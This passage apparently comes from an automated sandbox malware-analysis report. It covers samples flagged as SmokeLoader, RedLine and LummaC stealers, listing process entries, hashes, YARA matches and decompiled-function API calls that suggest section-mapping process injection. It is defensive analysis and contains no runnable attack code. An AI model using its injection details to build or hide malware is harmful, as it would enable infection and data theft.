Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000F.00000002.950991871.0000000002500000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.951015355.0000000002531000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000F.00000002.951015355.0000000002531000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000003.939764066.0000000002510000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.951037651.00000000025C6000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.951003696.0000000002510000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000F.00000002.951003696.0000000002510000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs Detection: 46%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:55:09
Start date:	03/10/2023
Path:	C:\Users\user\AppData\Local\Temp\6E11.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\6E11.exe
Imagebase:	0x7ff7e86d0000
File size:	3'413'536 bytes
MD5 hash:	4527E3FE757DD266980F572C43F22EF3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000015.00000002.1048474823.000000000407D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_EXE_Packed_DotNetReactor, Description: Detects executables packed with unregistered version of .NET Reactor, Source: C:\Users\user\AppData\Local\Temp\6E11.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:55:10
Start date:	03/10/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Imagebase:	0xf00000
File size:	64'704 bytes
MD5 hash:	8FE9545E9F72E460723F484C304314AD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:55:15
Start date:	03/10/2023
Path:	C:\Users\user\AppData\Local\Temp\EDBC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\EDBC.exe
Imagebase:	0x1080000
File size:	624'640 bytes
MD5 hash:	59E6F40D24C3EA84FA3BCF55B8F72C9D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:55:16
Start date:	03/10/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7e86d0000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:55:17
Start date:	03/10/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0xda0000
File size:	102'568 bytes
MD5 hash:	4DF5F963C7E18F062E49870D0AFF8F6F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:55:17
Start date:	03/10/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 136
Imagebase:	0xf70000
File size:	434'592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	71.3%
Signature Coverage:	51.1%
Total number of Nodes:	94
Total number of Limit Nodes:	6

Executed Functions

Function 004012AB Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

O, xrefs: 00401335
u, xrefs: 0040134F

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: O$u
API String ID: 0-1426094074
Opcode ID: fc28355d1bd9b55e96d57c391207adfdeb1b039e1bb682a9e10912c63c4cda28
Instruction ID: 6c0fdc4d84967332c471f3e59838abf2ed393e8be5ddaf11b6e9a247f6d6b291
Opcode Fuzzy Hash: fc28355d1bd9b55e96d57c391207adfdeb1b039e1bb682a9e10912c63c4cda28
Instruction Fuzzy Hash: F5D12571904245EBDB219F55CC44EAB7BB8FF82714F24417BE952BA1F1D2388602CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004014F4 Relevance: 10.7, APIs: 7, Instructions: 181
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401608
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401626
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401667
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016BA

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 718cf7cf2070750d6a03261995fd349e41501109dfa1350d1f46578160f340bf
Instruction ID: 17c8b5c6b7d03a249af4a1ce3f33b6d11283f5bd133b62a523f5e2d8a45d1619
Opcode Fuzzy Hash: 718cf7cf2070750d6a03261995fd349e41501109dfa1350d1f46578160f340bf
Instruction Fuzzy Hash: 0D512D71900205BFEB209F91CC48FEF7BB8EF85B00F104129F912BA2E5E6749941CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00401501 Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401608
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401626
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401667
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016BA

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9984b560c3149dd7a735e47dd78e2cd68fd0edf502ba838df985c043765e37bb
Instruction ID: 6f0604b32057d325caf3f51fa446859acea35a512505d6c4cf197e41671a197c
Opcode Fuzzy Hash: 9984b560c3149dd7a735e47dd78e2cd68fd0edf502ba838df985c043765e37bb
Instruction Fuzzy Hash: 8C512BB1900249BFEF209F92CC48FEFBBB8EF85700F144159F911AA2E5E6759941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401528 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401608
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401626
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401667
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016BA

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2f760a7a6e5d1e8f12fab574b919c9d6b8d73b05a2dd249efc9c4677c5b04d32
Instruction ID: af98140ee9de545a9c2869d3359d5e8b3b7d0483e67685bb764150cfa9c8d530
Opcode Fuzzy Hash: 2f760a7a6e5d1e8f12fab574b919c9d6b8d73b05a2dd249efc9c4677c5b04d32
Instruction Fuzzy Hash: 6E510871900259BFEB209F92CC48FEFBBB8EF85B10F144159F911AA2A5E7719940CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040153C Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401608
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401626
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401667
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016BA

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 3809ac319917b6d3bab6ba358ca8ba8e52c3928ac3e1657726bd27ab975abf26
Instruction ID: bcfd12d57f681495948eb5138da1c6a4081ea1a5ed11d5619747b33be395d59e
Opcode Fuzzy Hash: 3809ac319917b6d3bab6ba358ca8ba8e52c3928ac3e1657726bd27ab975abf26
Instruction Fuzzy Hash: 8C510A71900245BFEB209F92CC48FEFBBB8EF85750F104159F911BA1A5E6749941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00423C30 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 501
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000,022826CC,?,?,?,?,?,?,00426666,000000FF), ref: 00423E03

Strings

t^:, xrefs: 00424137

Memory Dump Source

Source File: 00000000.00000002.900417378.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: AllocLocal
String ID: t^:
API String ID: 3494564517-1317908726
Opcode ID: c062c4851d68092e18220f5942159808537afa80d0018a64bd420801c80f2341
Instruction ID: 4d636d28f844f565b3d530f3d341ce37d985ee3deda23cb04abb92f0731eb413
Opcode Fuzzy Hash: c062c4851d68092e18220f5942159808537afa80d0018a64bd420801c80f2341
Instruction Fuzzy Hash: A402DB71644340ABE320EF90ED49F5B77B8EB84B01F50452EF785AB1E0DBB49944CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAE2 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0040AEA9,?,?,00000000), ref: 0040DB25

Memory Dump Source

Source File: 00000000.00000002.900417378.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1ab4e90e3bf2085b5c19cb3079ae7fb3a0f3e77fe013268dfdebb13dc2d63100
Instruction ID: 89ae16cb865302e8bc47b642ae2bc1fc27565457d2be399f30c09226411e951d
Opcode Fuzzy Hash: 1ab4e90e3bf2085b5c19cb3079ae7fb3a0f3e77fe013268dfdebb13dc2d63100
Instruction Fuzzy Hash: 2401B135B002159AEB289FA5DC04B6737B4EB857A4F06453AA915AB2D0D73CE814CA98

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9D8 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 0040AA0A

Memory Dump Source

Source File: 00000000.00000002.900417378.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: 1ac1e0c22a827e4eb3afa572b7ce0305a9c31c80a6fabd8f886b3d2083b26de1
Instruction ID: 6c009c41319a7d8d7d2ff0ff75bb1fb8a32a163ed955803d9688be5ede57aee7
Opcode Fuzzy Hash: 1ac1e0c22a827e4eb3afa572b7ce0305a9c31c80a6fabd8f886b3d2083b26de1
Instruction Fuzzy Hash: 4AF0E9777012106ACB306734BC498975668DAD632430B8437F401E32C0F6388D91C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3F8 Relevance: 1.5, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040A401

Memory Dump Source

Source File: 00000000.00000002.900417378.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 49a7b99272e7dfb1a34acc57a7128d62bad4503410a37b1f68c0455ac866e0bf
Instruction ID: 7b2594a50018b71bddf63201193a1d411e4c34ecc50922a49ca2bed2e99e9dfa
Opcode Fuzzy Hash: 49a7b99272e7dfb1a34acc57a7128d62bad4503410a37b1f68c0455ac866e0bf
Instruction Fuzzy Hash: A6C092B47953426BE7588B39AD26B8929E49B0DB43F204079B307ED9E0DAB195609F08

Uniqueness

Uniqueness Score: -1.00%

Function 004018C9 Relevance: 1.3, APIs: 1, Instructions: 64
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Part of subcall function 004014F4: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
Part of subcall function 004014F4: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 53c9cd3384d2906c802fe6f3e3e31b8b704e5f86a1bc45d71cf18f0f00b039c7
Instruction ID: e62ef0a5377d8aa3a211eebfa9e1192b8d220afb4109f2d02ab252a4e2d2aae2
Opcode Fuzzy Hash: 53c9cd3384d2906c802fe6f3e3e31b8b704e5f86a1bc45d71cf18f0f00b039c7
Instruction Fuzzy Hash: CA118EB220C305FADB006A949C91EBA36689B11714F308137BB53790F1A57C9653F76F

Uniqueness

Uniqueness Score: -1.00%

Function 004018E5 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Part of subcall function 004014F4: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
Part of subcall function 004014F4: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 4ed9d038ad82778c0538dd9e301f09955b0ecda2ba93e19649321b1be2ae3255
Instruction ID: 05c04d2ad09f16b9b87c287c864bc9b7ec61e89fae5dcaecab9d0654b7c4e063
Opcode Fuzzy Hash: 4ed9d038ad82778c0538dd9e301f09955b0ecda2ba93e19649321b1be2ae3255
Instruction Fuzzy Hash: BB015BB220C305EADB006A949D62EB932649B15715F308137BA53790F1957C8653F61B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D4 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Part of subcall function 004014F4: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
Part of subcall function 004014F4: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6bef9fa10c94b4d929980f6de66e1a6c4508e267192d79ae07afb604da632a6a
Instruction ID: fce81954366252da7adbbdf3d64cc03e59f8ef64e68a90b3f3f5323062df9ebf
Opcode Fuzzy Hash: 6bef9fa10c94b4d929980f6de66e1a6c4508e267192d79ae07afb604da632a6a
Instruction Fuzzy Hash: FF016DB220C305EADB006A949C61EAA37645B51715F348137BA53B90F1D57C8653F62B

Uniqueness

Uniqueness Score: -1.00%

Function 004018F4 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Part of subcall function 004014F4: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
Part of subcall function 004014F4: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 3b2755767c2db92140373cfbb1f56a3cbda9640d3fbd25a37bb45c91bc9b33cf
Instruction ID: 61556fbd74693c1122d25878dabab91872ca5c85c54c0931cf2d8ffcbe0fb9f5
Opcode Fuzzy Hash: 3b2755767c2db92140373cfbb1f56a3cbda9640d3fbd25a37bb45c91bc9b33cf
Instruction Fuzzy Hash: 5A0178B2248306FADB006AA49CA1EB932249B55715F308137FB13B90F1D57C8653F72B

Uniqueness

Uniqueness Score: -1.00%

Function 004018E9 Relevance: 1.3, APIs: 1, Instructions: 51
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Part of subcall function 004014F4: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
Part of subcall function 004014F4: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 374dd4e1e0cffe5c307a426bb944a598177891720c0ffdd1d7a0e73783737b7f
Instruction ID: 0cfdbf57c40ebd16915b75e0bcaa31018d6035999b4c8e4d4561116cd1d9419c
Opcode Fuzzy Hash: 374dd4e1e0cffe5c307a426bb944a598177891720c0ffdd1d7a0e73783737b7f
Instruction Fuzzy Hash: FA017CB2208305FADB006AA09C61EA937649B55715F30813BFA53780F1957D8653F62B

Uniqueness

Uniqueness Score: -1.00%

Function 004018FC Relevance: 1.3, APIs: 1, Instructions: 49
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 001f3e1c90e0c9d478250d7b774a10e9bedc05eb8f5a2ddccafa56d5773fc4c0
Instruction ID: 8924cd936244c1d255e5b8ad3bd9668b31b5227b00448509fbcd462ac300149e
Opcode Fuzzy Hash: 001f3e1c90e0c9d478250d7b774a10e9bedc05eb8f5a2ddccafa56d5773fc4c0
Instruction Fuzzy Hash: 9A018FB2208305BBDF006AE08C62EA93B645F15315F244477FA53B91F2D57C9A52E72B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004012AA Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

O, xrefs: 00401335
u, xrefs: 0040134F

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: O$u
API String ID: 0-1426094074
Opcode ID: 70f08006886caaf092c5829f33f11fb51f64c9d12048d00267c95fac2347aa9f
Instruction ID: ec081fa5312fe6fc4e52d732a61ad1849d70c5eb2d1ef5a03c42e236a8c7c1f6
Opcode Fuzzy Hash: 70f08006886caaf092c5829f33f11fb51f64c9d12048d00267c95fac2347aa9f
Instruction Fuzzy Hash: 60515A71948391EBC712CF25C895AA67FB4FF5232472442FFD991BA1F2C2394102DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004012B4 Relevance: 2.7, Strings: 2, Instructions: 151COMMON

Download Yara Rule

Strings

O, xrefs: 00401335
u, xrefs: 0040134F

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: O$u
API String ID: 0-1426094074
Opcode ID: 60829e25b52dc9c286bcfc8c1594e64d5fadf153f3335295984f2997cccd9bdc
Instruction ID: 940fbc0dab850d529529b346cdf795a2ab2b5bab9bf26de1e63129e490b6217b
Opcode Fuzzy Hash: 60829e25b52dc9c286bcfc8c1594e64d5fadf153f3335295984f2997cccd9bdc
Instruction Fuzzy Hash: 4D514A71808391EFCB12DF35C8956967FB4EE5232472842EFD8A1AA1F3C3394102DB99

Uniqueness

Uniqueness Score: -1.00%

Function 004012DC Relevance: 2.6, Strings: 2, Instructions: 138COMMON

Download Yara Rule

Strings

O, xrefs: 00401335
u, xrefs: 0040134F

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: O$u
API String ID: 0-1426094074
Opcode ID: 00f0e6f876bcc7b1bde4355ec0cdb43d68c41d3e4076bba62f9fb807bd46335b
Instruction ID: 186db2605b7e3a4196eee0c3335ff4411e0107172b2e21921e8dcdeaea740e4f
Opcode Fuzzy Hash: 00f0e6f876bcc7b1bde4355ec0cdb43d68c41d3e4076bba62f9fb807bd46335b
Instruction Fuzzy Hash: 6F415972848391EFCB12DF25C8956967FB4EF5232472842AFD8A1AA1F3C3354102CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004012EC Relevance: 2.6, Strings: 2, Instructions: 138COMMON

Download Yara Rule

Strings

O, xrefs: 00401335
u, xrefs: 0040134F

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: O$u
API String ID: 0-1426094074
Opcode ID: 9e7b9b215a69e610e90231314c889fa282a587561654e2ad738d2177744eceed
Instruction ID: a91aca37e3be38c6bdcdb449f9ae7727b8e4dd8904d1e33b629b6c30361965f1
Opcode Fuzzy Hash: 9e7b9b215a69e610e90231314c889fa282a587561654e2ad738d2177744eceed
Instruction Fuzzy Hash: 85415B71848391DFCB12DF25D8956967FB4EE5232472842FFD8A1AA1F2C3354102CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004013BA Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

S, xrefs: 004013BB

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: S
API String ID: 0-543223747
Opcode ID: 60d6db45c57815d0079f1bd1d5223eed9f74a2ff5f50d055cc682c7432e8ea62
Instruction ID: 27aef00ba30489353df1a889fec71363b64b2bbfe6ab54d13b431a78e03c28fc
Opcode Fuzzy Hash: 60d6db45c57815d0079f1bd1d5223eed9f74a2ff5f50d055cc682c7432e8ea62
Instruction Fuzzy Hash: 60416E72948395DFCB128F39D895596BFB4EE5333932842BFD491AA1F3C2384501CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004014D8 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a4c5a06ffa398a92e74a522d908d178b9cb7e63d2e0450eb74668c0348f2fa4
Instruction ID: c22b5d678712e874c3708b01174fb826adcc151eb3839776fd57d9632e2febbf
Opcode Fuzzy Hash: 7a4c5a06ffa398a92e74a522d908d178b9cb7e63d2e0450eb74668c0348f2fa4
Instruction Fuzzy Hash: BD31AE77D156808BCB028B35985259B7FB0DE5333535946EBC491A61F2C3388606C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 004013FB Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

